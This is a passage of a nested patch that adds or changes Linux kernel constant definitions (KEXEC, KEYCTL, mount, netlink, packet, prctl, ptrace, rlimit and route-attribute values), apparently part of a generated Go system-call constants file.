-+ KEXEC_ARCH_DEFAULT = 0x0
-+ KEXEC_ARCH_IA_64 = 0x320000
-+ KEXEC_ARCH_MASK = 0xffff0000
-+ KEXEC_ARCH_MIPS = 0x80000
-+ KEXEC_ARCH_MIPS_LE = 0xa0000
-+ KEXEC_ARCH_PARISC = 0xf0000
-+ KEXEC_ARCH_PPC = 0x140000
-+ KEXEC_ARCH_PPC64 = 0x150000
-+ KEXEC_ARCH_S390 = 0x160000
-+ KEXEC_ARCH_SH = 0x2a0000
-+ KEXEC_ARCH_X86_64 = 0x3e0000
-+ KEXEC_FILE_NO_INITRAMFS = 0x4
-+ KEXEC_FILE_ON_CRASH = 0x2
-+ KEXEC_FILE_UNLOAD = 0x1
-+ KEXEC_ON_CRASH = 0x1
-+ KEXEC_PRESERVE_CONTEXT = 0x2
-+ KEXEC_SEGMENT_MAX = 0x10
-+ KEYCTL_ASSUME_AUTHORITY = 0x10
-+ KEYCTL_CAPABILITIES = 0x1f
-+ KEYCTL_CAPS0_BIG_KEY = 0x10
-+ KEYCTL_CAPS0_CAPABILITIES = 0x1
-+ KEYCTL_CAPS0_DIFFIE_HELLMAN = 0x4
-+ KEYCTL_CAPS0_INVALIDATE = 0x20
-+ KEYCTL_CAPS0_MOVE = 0x80
-+ KEYCTL_CAPS0_PERSISTENT_KEYRINGS = 0x2
-+ KEYCTL_CAPS0_PUBLIC_KEY = 0x8
-+ KEYCTL_CAPS0_RESTRICT_KEYRING = 0x40
-+ KEYCTL_CAPS1_NS_KEYRING_NAME = 0x1
-+ KEYCTL_CAPS1_NS_KEY_TAG = 0x2
-+ KEYCTL_CHOWN = 0x4
-+ KEYCTL_CLEAR = 0x7
-+ KEYCTL_DESCRIBE = 0x6
-+ KEYCTL_DH_COMPUTE = 0x17
-+ KEYCTL_GET_KEYRING_ID = 0x0
-+ KEYCTL_GET_PERSISTENT = 0x16
-+ KEYCTL_GET_SECURITY = 0x11
-+ KEYCTL_INSTANTIATE = 0xc
-+ KEYCTL_INSTANTIATE_IOV = 0x14
-+ KEYCTL_INVALIDATE = 0x15
-+ KEYCTL_JOIN_SESSION_KEYRING = 0x1
-+ KEYCTL_LINK = 0x8
-+ KEYCTL_MOVE = 0x1e
-+ KEYCTL_MOVE_EXCL = 0x1
-+ KEYCTL_NEGATE = 0xd
-+ KEYCTL_PKEY_DECRYPT = 0x1a
-+ KEYCTL_PKEY_ENCRYPT = 0x19
-+ KEYCTL_PKEY_QUERY = 0x18
-+ KEYCTL_PKEY_SIGN = 0x1b
-+ KEYCTL_PKEY_VERIFY = 0x1c
-+ KEYCTL_READ = 0xb
-+ KEYCTL_REJECT = 0x13
-+ KEYCTL_RESTRICT_KEYRING = 0x1d
-+ KEYCTL_REVOKE = 0x3
-+ KEYCTL_SEARCH = 0xa
-+ KEYCTL_SESSION_TO_PARENT = 0x12
-+ KEYCTL_SETPERM = 0x5
-+ KEYCTL_SET_REQKEY_KEYRING = 0xe
-+ KEYCTL_SET_TIMEOUT = 0xf
-+ KEYCTL_SUPPORTS_DECRYPT = 0x2
-+ KEYCTL_SUPPORTS_ENCRYPT = 0x1
-+ KEYCTL_SUPPORTS_SIGN = 0x4
-+ KEYCTL_SUPPORTS_VERIFY = 0x8
-+ KEYCTL_UNLINK = 0x9
-+ KEYCTL_UPDATE = 0x2
-+ KEY_REQKEY_DEFL_DEFAULT = 0x0
-+ KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-+ KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-+ KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-+ KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-+ KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-+ KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-+ KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-+ KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-+ KEY_SPEC_GROUP_KEYRING = -0x6
-+ KEY_SPEC_PROCESS_KEYRING = -0x2
-+ KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-+ KEY_SPEC_REQUESTOR_KEYRING = -0x8
-+ KEY_SPEC_SESSION_KEYRING = -0x3
-+ KEY_SPEC_THREAD_KEYRING = -0x1
-+ KEY_SPEC_USER_KEYRING = -0x4
-+ KEY_SPEC_USER_SESSION_KEYRING = -0x5
-+ LINUX_REBOOT_CMD_CAD_OFF = 0x0
-+ LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-+ LINUX_REBOOT_CMD_HALT = 0xcdef0123
-+ LINUX_REBOOT_CMD_KEXEC = 0x45584543
-+ LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-+ LINUX_REBOOT_CMD_RESTART = 0x1234567
-+ LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-+ LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-+ LINUX_REBOOT_MAGIC1 = 0xfee1dead
-+ LINUX_REBOOT_MAGIC2 = 0x28121969
-+ LOCK_EX = 0x2
-+ LOCK_NB = 0x4
-+ LOCK_SH = 0x1
-+ LOCK_UN = 0x8
-+ LOOP_CLR_FD = 0x4c01
-+ LOOP_CTL_ADD = 0x4c80
-+ LOOP_CTL_GET_FREE = 0x4c82
-+ LOOP_CTL_REMOVE = 0x4c81
-+ LOOP_GET_STATUS = 0x4c03
-+ LOOP_GET_STATUS64 = 0x4c05
-+ LOOP_SET_BLOCK_SIZE = 0x4c09
-+ LOOP_SET_CAPACITY = 0x4c07
-+ LOOP_SET_DIRECT_IO = 0x4c08
-+ LOOP_SET_FD = 0x4c00
-+ LOOP_SET_STATUS = 0x4c02
-+ LOOP_SET_STATUS64 = 0x4c04
-+ LO_KEY_SIZE = 0x20
-+ LO_NAME_SIZE = 0x40
-+ MADV_COLD = 0x14
-+ MADV_DODUMP = 0x11
-+ MADV_DOFORK = 0xb
-+ MADV_DONTDUMP = 0x10
-+ MADV_DONTFORK = 0xa
-+ MADV_DONTNEED = 0x4
-+ MADV_FREE = 0x8
-+ MADV_HUGEPAGE = 0xe
-+ MADV_HWPOISON = 0x64
-+ MADV_KEEPONFORK = 0x13
-+ MADV_MERGEABLE = 0xc
-+ MADV_NOHUGEPAGE = 0xf
-+ MADV_NORMAL = 0x0
-+ MADV_PAGEOUT = 0x15
-+ MADV_RANDOM = 0x1
-+ MADV_REMOVE = 0x9
-+ MADV_SEQUENTIAL = 0x2
-+ MADV_UNMERGEABLE = 0xd
-+ MADV_WILLNEED = 0x3
-+ MADV_WIPEONFORK = 0x12
-+ MAP_FILE = 0x0
-+ MAP_FIXED = 0x10
-+ MAP_FIXED_NOREPLACE = 0x100000
-+ MAP_HUGE_MASK = 0x3f
-+ MAP_HUGE_SHIFT = 0x1a
-+ MAP_PRIVATE = 0x2
-+ MAP_SHARED = 0x1
-+ MAP_SHARED_VALIDATE = 0x3
-+ MAP_TYPE = 0xf
-+ MCAST_BLOCK_SOURCE = 0x2b
-+ MCAST_EXCLUDE = 0x0
-+ MCAST_INCLUDE = 0x1
-+ MCAST_JOIN_GROUP = 0x2a
-+ MCAST_JOIN_SOURCE_GROUP = 0x2e
-+ MCAST_LEAVE_GROUP = 0x2d
-+ MCAST_LEAVE_SOURCE_GROUP = 0x2f
-+ MCAST_MSFILTER = 0x30
-+ MCAST_UNBLOCK_SOURCE = 0x2c
-+ MFD_ALLOW_SEALING = 0x2
-+ MFD_CLOEXEC = 0x1
-+ MFD_HUGETLB = 0x4
-+ MFD_HUGE_16GB = -0x78000000
-+ MFD_HUGE_16MB = 0x60000000
-+ MFD_HUGE_1GB = 0x78000000
-+ MFD_HUGE_1MB = 0x50000000
-+ MFD_HUGE_256MB = 0x70000000
-+ MFD_HUGE_2GB = 0x7c000000
-+ MFD_HUGE_2MB = 0x54000000
-+ MFD_HUGE_32MB = 0x64000000
-+ MFD_HUGE_512KB = 0x4c000000
-+ MFD_HUGE_512MB = 0x74000000
-+ MFD_HUGE_64KB = 0x40000000
-+ MFD_HUGE_8MB = 0x5c000000
-+ MFD_HUGE_MASK = 0x3f
-+ MFD_HUGE_SHIFT = 0x1a
-+ MINIX2_SUPER_MAGIC = 0x2468
-+ MINIX2_SUPER_MAGIC2 = 0x2478
-+ MINIX3_SUPER_MAGIC = 0x4d5a
-+ MINIX_SUPER_MAGIC = 0x137f
-+ MINIX_SUPER_MAGIC2 = 0x138f
-+ MNT_DETACH = 0x2
-+ MNT_EXPIRE = 0x4
-+ MNT_FORCE = 0x1
-+ MODULE_INIT_IGNORE_MODVERSIONS = 0x1
-+ MODULE_INIT_IGNORE_VERMAGIC = 0x2
-+ MSDOS_SUPER_MAGIC = 0x4d44
-+ MSG_BATCH = 0x40000
-+ MSG_CMSG_CLOEXEC = 0x40000000
-+ MSG_CONFIRM = 0x800
-+ MSG_CTRUNC = 0x8
-+ MSG_DONTROUTE = 0x4
-+ MSG_DONTWAIT = 0x40
-+ MSG_EOR = 0x80
-+ MSG_ERRQUEUE = 0x2000
-+ MSG_FASTOPEN = 0x20000000
-+ MSG_FIN = 0x200
-+ MSG_MORE = 0x8000
-+ MSG_NOSIGNAL = 0x4000
-+ MSG_OOB = 0x1
-+ MSG_PEEK = 0x2
-+ MSG_PROXY = 0x10
-+ MSG_RST = 0x1000
-+ MSG_SYN = 0x400
-+ MSG_TRUNC = 0x20
-+ MSG_TRYHARD = 0x4
-+ MSG_WAITALL = 0x100
-+ MSG_WAITFORONE = 0x10000
-+ MSG_ZEROCOPY = 0x4000000
-+ MS_ACTIVE = 0x40000000
-+ MS_ASYNC = 0x1
-+ MS_BIND = 0x1000
-+ MS_BORN = 0x20000000
-+ MS_DIRSYNC = 0x80
-+ MS_INVALIDATE = 0x2
-+ MS_I_VERSION = 0x800000
-+ MS_KERNMOUNT = 0x400000
-+ MS_LAZYTIME = 0x2000000
-+ MS_MANDLOCK = 0x40
-+ MS_MGC_MSK = 0xffff0000
-+ MS_MGC_VAL = 0xc0ed0000
-+ MS_MOVE = 0x2000
-+ MS_NOATIME = 0x400
-+ MS_NODEV = 0x4
-+ MS_NODIRATIME = 0x800
-+ MS_NOEXEC = 0x8
-+ MS_NOREMOTELOCK = 0x8000000
-+ MS_NOSEC = 0x10000000
-+ MS_NOSUID = 0x2
-+ MS_NOUSER = -0x80000000
-+ MS_POSIXACL = 0x10000
-+ MS_PRIVATE = 0x40000
-+ MS_RDONLY = 0x1
-+ MS_REC = 0x4000
-+ MS_RELATIME = 0x200000
-+ MS_REMOUNT = 0x20
-+ MS_RMT_MASK = 0x2800051
-+ MS_SHARED = 0x100000
-+ MS_SILENT = 0x8000
-+ MS_SLAVE = 0x80000
-+ MS_STRICTATIME = 0x1000000
-+ MS_SUBMOUNT = 0x4000000
-+ MS_SYNC = 0x4
-+ MS_SYNCHRONOUS = 0x10
-+ MS_UNBINDABLE = 0x20000
-+ MS_VERBOSE = 0x8000
-+ MTD_INODE_FS_MAGIC = 0x11307854
-+ NAME_MAX = 0xff
-+ NCP_SUPER_MAGIC = 0x564c
-+ NETLINK_ADD_MEMBERSHIP = 0x1
-+ NETLINK_AUDIT = 0x9
-+ NETLINK_BROADCAST_ERROR = 0x4
-+ NETLINK_CAP_ACK = 0xa
-+ NETLINK_CONNECTOR = 0xb
-+ NETLINK_CRYPTO = 0x15
-+ NETLINK_DNRTMSG = 0xe
-+ NETLINK_DROP_MEMBERSHIP = 0x2
-+ NETLINK_ECRYPTFS = 0x13
-+ NETLINK_EXT_ACK = 0xb
-+ NETLINK_FIB_LOOKUP = 0xa
-+ NETLINK_FIREWALL = 0x3
-+ NETLINK_GENERIC = 0x10
-+ NETLINK_GET_STRICT_CHK = 0xc
-+ NETLINK_INET_DIAG = 0x4
-+ NETLINK_IP6_FW = 0xd
-+ NETLINK_ISCSI = 0x8
-+ NETLINK_KOBJECT_UEVENT = 0xf
-+ NETLINK_LISTEN_ALL_NSID = 0x8
-+ NETLINK_LIST_MEMBERSHIPS = 0x9
-+ NETLINK_NETFILTER = 0xc
-+ NETLINK_NFLOG = 0x5
-+ NETLINK_NO_ENOBUFS = 0x5
-+ NETLINK_PKTINFO = 0x3
-+ NETLINK_RDMA = 0x14
-+ NETLINK_ROUTE = 0x0
-+ NETLINK_RX_RING = 0x6
-+ NETLINK_SCSITRANSPORT = 0x12
-+ NETLINK_SELINUX = 0x7
-+ NETLINK_SMC = 0x16
-+ NETLINK_SOCK_DIAG = 0x4
-+ NETLINK_TX_RING = 0x7
-+ NETLINK_UNUSED = 0x1
-+ NETLINK_USERSOCK = 0x2
-+ NETLINK_XFRM = 0x6
-+ NETNSA_MAX = 0x5
-+ NETNSA_NSID_NOT_ASSIGNED = -0x1
-+ NFNETLINK_V0 = 0x0
-+ NFNLGRP_ACCT_QUOTA = 0x8
-+ NFNLGRP_CONNTRACK_DESTROY = 0x3
-+ NFNLGRP_CONNTRACK_EXP_DESTROY = 0x6
-+ NFNLGRP_CONNTRACK_EXP_NEW = 0x4
-+ NFNLGRP_CONNTRACK_EXP_UPDATE = 0x5
-+ NFNLGRP_CONNTRACK_NEW = 0x1
-+ NFNLGRP_CONNTRACK_UPDATE = 0x2
-+ NFNLGRP_MAX = 0x9
-+ NFNLGRP_NFTABLES = 0x7
-+ NFNLGRP_NFTRACE = 0x9
-+ NFNLGRP_NONE = 0x0
-+ NFNL_BATCH_MAX = 0x1
-+ NFNL_MSG_BATCH_BEGIN = 0x10
-+ NFNL_MSG_BATCH_END = 0x11
-+ NFNL_NFA_NEST = 0x8000
-+ NFNL_SUBSYS_ACCT = 0x7
-+ NFNL_SUBSYS_COUNT = 0xc
-+ NFNL_SUBSYS_CTHELPER = 0x9
-+ NFNL_SUBSYS_CTNETLINK = 0x1
-+ NFNL_SUBSYS_CTNETLINK_EXP = 0x2
-+ NFNL_SUBSYS_CTNETLINK_TIMEOUT = 0x8
-+ NFNL_SUBSYS_IPSET = 0x6
-+ NFNL_SUBSYS_NFTABLES = 0xa
-+ NFNL_SUBSYS_NFT_COMPAT = 0xb
-+ NFNL_SUBSYS_NONE = 0x0
-+ NFNL_SUBSYS_OSF = 0x5
-+ NFNL_SUBSYS_QUEUE = 0x3
-+ NFNL_SUBSYS_ULOG = 0x4
-+ NFS_SUPER_MAGIC = 0x6969
-+ NILFS_SUPER_MAGIC = 0x3434
-+ NL0 = 0x0
-+ NL1 = 0x100
-+ NLA_ALIGNTO = 0x4
-+ NLA_F_NESTED = 0x8000
-+ NLA_F_NET_BYTEORDER = 0x4000
-+ NLA_HDRLEN = 0x4
-+ NLMSG_ALIGNTO = 0x4
-+ NLMSG_DONE = 0x3
-+ NLMSG_ERROR = 0x2
-+ NLMSG_HDRLEN = 0x10
-+ NLMSG_MIN_TYPE = 0x10
-+ NLMSG_NOOP = 0x1
-+ NLMSG_OVERRUN = 0x4
-+ NLM_F_ACK = 0x4
-+ NLM_F_ACK_TLVS = 0x200
-+ NLM_F_APPEND = 0x800
-+ NLM_F_ATOMIC = 0x400
-+ NLM_F_CAPPED = 0x100
-+ NLM_F_CREATE = 0x400
-+ NLM_F_DUMP = 0x300
-+ NLM_F_DUMP_FILTERED = 0x20
-+ NLM_F_DUMP_INTR = 0x10
-+ NLM_F_ECHO = 0x8
-+ NLM_F_EXCL = 0x200
-+ NLM_F_MATCH = 0x200
-+ NLM_F_MULTI = 0x2
-+ NLM_F_NONREC = 0x100
-+ NLM_F_REPLACE = 0x100
-+ NLM_F_REQUEST = 0x1
-+ NLM_F_ROOT = 0x100
-+ NSFS_MAGIC = 0x6e736673
-+ OCFS2_SUPER_MAGIC = 0x7461636f
-+ OCRNL = 0x8
-+ OFDEL = 0x80
-+ OFILL = 0x40
-+ ONLRET = 0x20
-+ ONOCR = 0x10
-+ OPENPROM_SUPER_MAGIC = 0x9fa1
-+ OPOST = 0x1
-+ OVERLAYFS_SUPER_MAGIC = 0x794c7630
-+ O_ACCMODE = 0x3
-+ O_RDONLY = 0x0
-+ O_RDWR = 0x2
-+ O_WRONLY = 0x1
-+ PACKET_ADD_MEMBERSHIP = 0x1
-+ PACKET_AUXDATA = 0x8
-+ PACKET_BROADCAST = 0x1
-+ PACKET_COPY_THRESH = 0x7
-+ PACKET_DROP_MEMBERSHIP = 0x2
-+ PACKET_FANOUT = 0x12
-+ PACKET_FANOUT_CBPF = 0x6
-+ PACKET_FANOUT_CPU = 0x2
-+ PACKET_FANOUT_DATA = 0x16
-+ PACKET_FANOUT_EBPF = 0x7
-+ PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-+ PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-+ PACKET_FANOUT_FLAG_UNIQUEID = 0x2000
-+ PACKET_FANOUT_HASH = 0x0
-+ PACKET_FANOUT_LB = 0x1
-+ PACKET_FANOUT_QM = 0x5
-+ PACKET_FANOUT_RND = 0x4
-+ PACKET_FANOUT_ROLLOVER = 0x3
-+ PACKET_FASTROUTE = 0x6
-+ PACKET_HDRLEN = 0xb
-+ PACKET_HOST = 0x0
-+ PACKET_IGNORE_OUTGOING = 0x17
-+ PACKET_KERNEL = 0x7
-+ PACKET_LOOPBACK = 0x5
-+ PACKET_LOSS = 0xe
-+ PACKET_MR_ALLMULTI = 0x2
-+ PACKET_MR_MULTICAST = 0x0
-+ PACKET_MR_PROMISC = 0x1
-+ PACKET_MR_UNICAST = 0x3
-+ PACKET_MULTICAST = 0x2
-+ PACKET_ORIGDEV = 0x9
-+ PACKET_OTHERHOST = 0x3
-+ PACKET_OUTGOING = 0x4
-+ PACKET_QDISC_BYPASS = 0x14
-+ PACKET_RECV_OUTPUT = 0x3
-+ PACKET_RESERVE = 0xc
-+ PACKET_ROLLOVER_STATS = 0x15
-+ PACKET_RX_RING = 0x5
-+ PACKET_STATISTICS = 0x6
-+ PACKET_TIMESTAMP = 0x11
-+ PACKET_TX_HAS_OFF = 0x13
-+ PACKET_TX_RING = 0xd
-+ PACKET_TX_TIMESTAMP = 0x10
-+ PACKET_USER = 0x6
-+ PACKET_VERSION = 0xa
-+ PACKET_VNET_HDR = 0xf
-+ PARITY_CRC16_PR0 = 0x2
-+ PARITY_CRC16_PR0_CCITT = 0x4
-+ PARITY_CRC16_PR1 = 0x3
-+ PARITY_CRC16_PR1_CCITT = 0x5
-+ PARITY_CRC32_PR0_CCITT = 0x6
-+ PARITY_CRC32_PR1_CCITT = 0x7
-+ PARITY_DEFAULT = 0x0
-+ PARITY_NONE = 0x1
-+ PARMRK = 0x8
-+ PIPEFS_MAGIC = 0x50495045
-+ PPC_CMM_MAGIC = 0xc7571590
-+ PPPIOCGNPMODE = 0xc008744c
-+ PPPIOCNEWUNIT = 0xc004743e
-+ PRIO_PGRP = 0x1
-+ PRIO_PROCESS = 0x0
-+ PRIO_USER = 0x2
-+ PROC_SUPER_MAGIC = 0x9fa0
-+ PROT_EXEC = 0x4
-+ PROT_GROWSDOWN = 0x1000000
-+ PROT_GROWSUP = 0x2000000
-+ PROT_NONE = 0x0
-+ PROT_READ = 0x1
-+ PROT_WRITE = 0x2
-+ PR_CAPBSET_DROP = 0x18
-+ PR_CAPBSET_READ = 0x17
-+ PR_CAP_AMBIENT = 0x2f
-+ PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-+ PR_CAP_AMBIENT_IS_SET = 0x1
-+ PR_CAP_AMBIENT_LOWER = 0x3
-+ PR_CAP_AMBIENT_RAISE = 0x2
-+ PR_ENDIAN_BIG = 0x0
-+ PR_ENDIAN_LITTLE = 0x1
-+ PR_ENDIAN_PPC_LITTLE = 0x2
-+ PR_FPEMU_NOPRINT = 0x1
-+ PR_FPEMU_SIGFPE = 0x2
-+ PR_FP_EXC_ASYNC = 0x2
-+ PR_FP_EXC_DISABLED = 0x0
-+ PR_FP_EXC_DIV = 0x10000
-+ PR_FP_EXC_INV = 0x100000
-+ PR_FP_EXC_NONRECOV = 0x1
-+ PR_FP_EXC_OVF = 0x20000
-+ PR_FP_EXC_PRECISE = 0x3
-+ PR_FP_EXC_RES = 0x80000
-+ PR_FP_EXC_SW_ENABLE = 0x80
-+ PR_FP_EXC_UND = 0x40000
-+ PR_FP_MODE_FR = 0x1
-+ PR_FP_MODE_FRE = 0x2
-+ PR_GET_CHILD_SUBREAPER = 0x25
-+ PR_GET_DUMPABLE = 0x3
-+ PR_GET_ENDIAN = 0x13
-+ PR_GET_FPEMU = 0x9
-+ PR_GET_FPEXC = 0xb
-+ PR_GET_FP_MODE = 0x2e
-+ PR_GET_IO_FLUSHER = 0x3a
-+ PR_GET_KEEPCAPS = 0x7
-+ PR_GET_NAME = 0x10
-+ PR_GET_NO_NEW_PRIVS = 0x27
-+ PR_GET_PDEATHSIG = 0x2
-+ PR_GET_SECCOMP = 0x15
-+ PR_GET_SECUREBITS = 0x1b
-+ PR_GET_SPECULATION_CTRL = 0x34
-+ PR_GET_TAGGED_ADDR_CTRL = 0x38
-+ PR_GET_THP_DISABLE = 0x2a
-+ PR_GET_TID_ADDRESS = 0x28
-+ PR_GET_TIMERSLACK = 0x1e
-+ PR_GET_TIMING = 0xd
-+ PR_GET_TSC = 0x19
-+ PR_GET_UNALIGN = 0x5
-+ PR_MCE_KILL = 0x21
-+ PR_MCE_KILL_CLEAR = 0x0
-+ PR_MCE_KILL_DEFAULT = 0x2
-+ PR_MCE_KILL_EARLY = 0x1
-+ PR_MCE_KILL_GET = 0x22
-+ PR_MCE_KILL_LATE = 0x0
-+ PR_MCE_KILL_SET = 0x1
-+ PR_MPX_DISABLE_MANAGEMENT = 0x2c
-+ PR_MPX_ENABLE_MANAGEMENT = 0x2b
-+ PR_PAC_APDAKEY = 0x4
-+ PR_PAC_APDBKEY = 0x8
-+ PR_PAC_APGAKEY = 0x10
-+ PR_PAC_APIAKEY = 0x1
-+ PR_PAC_APIBKEY = 0x2
-+ PR_PAC_RESET_KEYS = 0x36
-+ PR_SET_CHILD_SUBREAPER = 0x24
-+ PR_SET_DUMPABLE = 0x4
-+ PR_SET_ENDIAN = 0x14
-+ PR_SET_FPEMU = 0xa
-+ PR_SET_FPEXC = 0xc
-+ PR_SET_FP_MODE = 0x2d
-+ PR_SET_IO_FLUSHER = 0x39
-+ PR_SET_KEEPCAPS = 0x8
-+ PR_SET_MM = 0x23
-+ PR_SET_MM_ARG_END = 0x9
-+ PR_SET_MM_ARG_START = 0x8
-+ PR_SET_MM_AUXV = 0xc
-+ PR_SET_MM_BRK = 0x7
-+ PR_SET_MM_END_CODE = 0x2
-+ PR_SET_MM_END_DATA = 0x4
-+ PR_SET_MM_ENV_END = 0xb
-+ PR_SET_MM_ENV_START = 0xa
-+ PR_SET_MM_EXE_FILE = 0xd
-+ PR_SET_MM_MAP = 0xe
-+ PR_SET_MM_MAP_SIZE = 0xf
-+ PR_SET_MM_START_BRK = 0x6
-+ PR_SET_MM_START_CODE = 0x1
-+ PR_SET_MM_START_DATA = 0x3
-+ PR_SET_MM_START_STACK = 0x5
-+ PR_SET_NAME = 0xf
-+ PR_SET_NO_NEW_PRIVS = 0x26
-+ PR_SET_PDEATHSIG = 0x1
-+ PR_SET_PTRACER = 0x59616d61
-+ PR_SET_SECCOMP = 0x16
-+ PR_SET_SECUREBITS = 0x1c
-+ PR_SET_SPECULATION_CTRL = 0x35
-+ PR_SET_TAGGED_ADDR_CTRL = 0x37
-+ PR_SET_THP_DISABLE = 0x29
-+ PR_SET_TIMERSLACK = 0x1d
-+ PR_SET_TIMING = 0xe
-+ PR_SET_TSC = 0x1a
-+ PR_SET_UNALIGN = 0x6
-+ PR_SPEC_DISABLE = 0x4
-+ PR_SPEC_DISABLE_NOEXEC = 0x10
-+ PR_SPEC_ENABLE = 0x2
-+ PR_SPEC_FORCE_DISABLE = 0x8
-+ PR_SPEC_INDIRECT_BRANCH = 0x1
-+ PR_SPEC_NOT_AFFECTED = 0x0
-+ PR_SPEC_PRCTL = 0x1
-+ PR_SPEC_STORE_BYPASS = 0x0
-+ PR_SVE_GET_VL = 0x33
-+ PR_SVE_SET_VL = 0x32
-+ PR_SVE_SET_VL_ONEXEC = 0x40000
-+ PR_SVE_VL_INHERIT = 0x20000
-+ PR_SVE_VL_LEN_MASK = 0xffff
-+ PR_TAGGED_ADDR_ENABLE = 0x1
-+ PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-+ PR_TASK_PERF_EVENTS_ENABLE = 0x20
-+ PR_TIMING_STATISTICAL = 0x0
-+ PR_TIMING_TIMESTAMP = 0x1
-+ PR_TSC_ENABLE = 0x1
-+ PR_TSC_SIGSEGV = 0x2
-+ PR_UNALIGN_NOPRINT = 0x1
-+ PR_UNALIGN_SIGBUS = 0x2
-+ PSTOREFS_MAGIC = 0x6165676c
-+ PTRACE_ATTACH = 0x10
-+ PTRACE_CONT = 0x7
-+ PTRACE_DETACH = 0x11
-+ PTRACE_EVENTMSG_SYSCALL_ENTRY = 0x1
-+ PTRACE_EVENTMSG_SYSCALL_EXIT = 0x2
-+ PTRACE_EVENT_CLONE = 0x3
-+ PTRACE_EVENT_EXEC = 0x4
-+ PTRACE_EVENT_EXIT = 0x6
-+ PTRACE_EVENT_FORK = 0x1
-+ PTRACE_EVENT_SECCOMP = 0x7
-+ PTRACE_EVENT_STOP = 0x80
-+ PTRACE_EVENT_VFORK = 0x2
-+ PTRACE_EVENT_VFORK_DONE = 0x5
-+ PTRACE_GETEVENTMSG = 0x4201
-+ PTRACE_GETREGS = 0xc
-+ PTRACE_GETREGSET = 0x4204
-+ PTRACE_GETSIGINFO = 0x4202
-+ PTRACE_GETSIGMASK = 0x420a
-+ PTRACE_GET_SYSCALL_INFO = 0x420e
-+ PTRACE_INTERRUPT = 0x4207
-+ PTRACE_KILL = 0x8
-+ PTRACE_LISTEN = 0x4208
-+ PTRACE_O_EXITKILL = 0x100000
-+ PTRACE_O_MASK = 0x3000ff
-+ PTRACE_O_SUSPEND_SECCOMP = 0x200000
-+ PTRACE_O_TRACECLONE = 0x8
-+ PTRACE_O_TRACEEXEC = 0x10
-+ PTRACE_O_TRACEEXIT = 0x40
-+ PTRACE_O_TRACEFORK = 0x2
-+ PTRACE_O_TRACESECCOMP = 0x80
-+ PTRACE_O_TRACESYSGOOD = 0x1
-+ PTRACE_O_TRACEVFORK = 0x4
-+ PTRACE_O_TRACEVFORKDONE = 0x20
-+ PTRACE_PEEKDATA = 0x2
-+ PTRACE_PEEKSIGINFO = 0x4209
-+ PTRACE_PEEKSIGINFO_SHARED = 0x1
-+ PTRACE_PEEKTEXT = 0x1
-+ PTRACE_PEEKUSR = 0x3
-+ PTRACE_POKEDATA = 0x5
-+ PTRACE_POKETEXT = 0x4
-+ PTRACE_POKEUSR = 0x6
-+ PTRACE_SECCOMP_GET_FILTER = 0x420c
-+ PTRACE_SECCOMP_GET_METADATA = 0x420d
-+ PTRACE_SEIZE = 0x4206
-+ PTRACE_SETOPTIONS = 0x4200
-+ PTRACE_SETREGS = 0xd
-+ PTRACE_SETREGSET = 0x4205
-+ PTRACE_SETSIGINFO = 0x4203
-+ PTRACE_SETSIGMASK = 0x420b
-+ PTRACE_SINGLESTEP = 0x9
-+ PTRACE_SYSCALL = 0x18
-+ PTRACE_SYSCALL_INFO_ENTRY = 0x1
-+ PTRACE_SYSCALL_INFO_EXIT = 0x2
-+ PTRACE_SYSCALL_INFO_NONE = 0x0
-+ PTRACE_SYSCALL_INFO_SECCOMP = 0x3
-+ PTRACE_TRACEME = 0x0
-+ QNX4_SUPER_MAGIC = 0x2f
-+ QNX6_SUPER_MAGIC = 0x68191122
-+ RAMFS_MAGIC = 0x858458f6
-+ RDTGROUP_SUPER_MAGIC = 0x7655821
-+ REISERFS_SUPER_MAGIC = 0x52654973
-+ RENAME_EXCHANGE = 0x2
-+ RENAME_NOREPLACE = 0x1
-+ RENAME_WHITEOUT = 0x4
-+ RLIMIT_CORE = 0x4
-+ RLIMIT_CPU = 0x0
-+ RLIMIT_DATA = 0x2
-+ RLIMIT_FSIZE = 0x1
-+ RLIMIT_LOCKS = 0xa
-+ RLIMIT_MSGQUEUE = 0xc
-+ RLIMIT_NICE = 0xd
-+ RLIMIT_RTPRIO = 0xe
-+ RLIMIT_RTTIME = 0xf
-+ RLIMIT_SIGPENDING = 0xb
-+ RLIMIT_STACK = 0x3
-+ RLIM_INFINITY = 0xffffffffffffffff
-+ RTAX_ADVMSS = 0x8
-+ RTAX_CC_ALGO = 0x10
-+ RTAX_CWND = 0x7
-+ RTAX_FASTOPEN_NO_COOKIE = 0x11
-+ RTAX_FEATURES = 0xc
-+ RTAX_FEATURE_ALLFRAG = 0x8
-+ RTAX_FEATURE_ECN = 0x1
-+ RTAX_FEATURE_MASK = 0xf
-+ RTAX_FEATURE_SACK = 0x2
-+ RTAX_FEATURE_TIMESTAMP = 0x4
-+ RTAX_HOPLIMIT = 0xa
-+ RTAX_INITCWND = 0xb
-+ RTAX_INITRWND = 0xe
-+ RTAX_LOCK = 0x1
-+ RTAX_MAX = 0x11
-+ RTAX_MTU = 0x2
-+ RTAX_QUICKACK = 0xf
-+ RTAX_REORDERING = 0x9
-+ RTAX_RTO_MIN = 0xd
-+ RTAX_RTT = 0x4
-+ RTAX_RTTVAR = 0x5
-+ RTAX_SSTHRESH = 0x6
-+ RTAX_UNSPEC = 0x0
-+ RTAX_WINDOW = 0x3
-+ RTA_ALIGNTO = 0x4
-+ RTA_MAX = 0x1e
-+ RTCF_DIRECTSRC = 0x4000000
-+ RTCF_DOREDIRECT = 0x1000000
-+ RTCF_LOG = 0x2000000
-+ RTCF_MASQ = 0x400000
-+ RTCF_NAT = 0x800000
-+ RTCF_VALVE = 0x200000
-+ RTC_AF = 0x20
-+ RTC_IRQF = 0x80
-+ RTC_MAX_FREQ = 0x2000
